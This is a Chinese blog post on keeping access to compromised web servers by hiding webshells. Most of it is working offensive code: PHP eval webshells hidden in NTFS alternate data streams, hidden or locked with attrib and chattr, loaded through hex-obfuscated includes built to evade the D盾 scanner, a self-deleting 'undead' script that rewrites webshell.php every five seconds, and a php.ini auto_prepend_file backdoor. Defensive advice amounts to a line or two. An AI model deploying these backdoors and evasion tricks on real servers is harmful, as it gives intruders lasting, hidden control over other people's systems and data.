美文网首页信安知识内网攻防
权限维持——牧马隐藏技巧

权限维持——牧马隐藏技巧

作者: book4yi | 来源:发表于2020-10-19 02:04 被阅读0次

    本文仅作学习记录,如有侵权,请联系删除!

    修改文件属性:


    • Windows

    使用attrib命令,参数说明如下:

    +r 设置只读属性
    -r 取消只读属性
    +a 设置存档属性
    -a 取消存档属性
    +s 设置系统属性
    -s 取消系统属性
    +h 设置隐藏属性
    -h 取消隐藏属性
    /s 显示目录下所有文件的属性
    /d 将attrib和任意命令行选项应用到目录

    attrib +s +h webshell.php
    

    即使开启了显示隐藏的文件或是只使用dir显示都是看不见的

    检测手段:

    dir /A
    木马文件查杀

    • Linux:

    在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

    a:让文件或目录仅供附加用途。
    b:不更新文件或目录的最后存取时间。
    c:将文件或目录压缩后存放。
    d:将文件或目录排除在倾倒操作之外。
    i:不得任意更动文件或目录。
    s:保密性删除文件或目录。
    S:即时更新文件或目录。
    u:预防意外删除。

    chattr +i evil.php 锁定文件
    lsattr evil.php 属性查看
    chattr -i evil.php 解除锁定
    rm -rf evil.php 删除文件
    

    利用ADS流创建文件:


    之前我只知道可以通过ADS流模式突破进而创建文件夹,这还是udf提权的技巧,但实际我对ADS是很陌生的,这里简单学习一波~

    NTFS交换数据流(alternate data streams简称ADS)是NTFS磁盘格式的一个特性。

    一个完整的流的格式为:

    <filename>:<stream name>:<stream type>

      1. 主流即我们平时可以看见的可以存储数据的文件。而非主文件流寄宿于主文件流中,无法直接读取。
      1. 修改宿主文件的内容或流的内容,不会对彼此造成影响。
      1. 流类型总是以$符号作为开始,NTFS文件系统中的文件至少包含一个主流,也就是data流($DATA),默认流名为空。
      1. ADS可以省略流名,但不能省略流类型。
      1. NTFS文件系统中的文件夹没有data流,但可以指派data流,文件夹的主流为directory流($INDEX_ALLOCATION),流名默认为$I30

    在命令行中echo一个数据流从而创建一个ADS隐藏文件

    echo ^<?php @eval($_POST['pass']);?^> > index.php:shell.jpg
    

    这样生成了一个不可见的shell.jpg,type dir del命令都不行
    我们只能看见一个index.php文件,且内容为空

    这里做个解释:
    对于windows环境的服务器,上传test.php:.jpg类型的文件,当文件传到服务端时,windows会将该文件识别成ADS,从而认为其宿主文件名为test.php而将.jpg识别为流名。
    通过notepad test.php:.jpg可以查看内容,所以test.php内容为空是正常的。

    命令行输入完整的文件名即可通过notepad进行编辑

    虽然我们已经将文件隐藏了,都是木马但并不能够起作用,这里就需要用到文件包含:

    <?php include('index.php:shell.jpg');?>
    

    然后直接用蚁剑去连接即可
    后面惊奇地发现这个php包含文件居然没有被D盾查杀

    这里利用PHP可变变量进行二次转换加上对包含的文件名进行hex处理进行免杀绕过

    <?php
    $a="696E6465782E7068703"."A7368656C6C2E6A7067";
    $b="a";
    include(PACK('H*',$$b))
    ?>
    

    不死马:

    <?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while(1){
    file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');
    sleep(5);
    }?>
    

    在每次删除后的5秒钟之后又会重新生成一个新的webshell.php文件,若要彻底删除文件最好的方法是将web服务停止了再删除。

    php.ini:

    利用原理:访问一个php文件,在文件执行之前自动执行牧马文件:

    1、在php.ini中找到配置项,修改auto_prepend_file:

    auto_prepend_file =shell.dll
    

    2、修改include_path
    修改为存在后门文件的绝对路径

    # ; Windows: "\path1;\path2"
    include_path = ".;c:\php\includes;D:\phpstudy_pro\666"
    

    3、在include_path指定的路径上创建webshell.dll文件:

    <?php @eval($_POST[pass]);?>
    

    然后重启Web应用,用蚁剑连接任一可以访问到的php文件即可

    关键字拆分与文件包含:


    将webshell拆分成两个部分:

    <?php @eval($_POST[pass]);?>
    
    <?php
    $a = $_POST[pass];
    ?>
    
    <?php
    include "a.php";
    @eval($a);
    ?>
    

    参考如下:


    木马隐藏技巧
    NTFS ADS的前世今生

    相关文章

      网友评论

        本文标题:权限维持——牧马隐藏技巧

        本文链接:https://www.haomeiwen.com/subject/pvhhmktx.html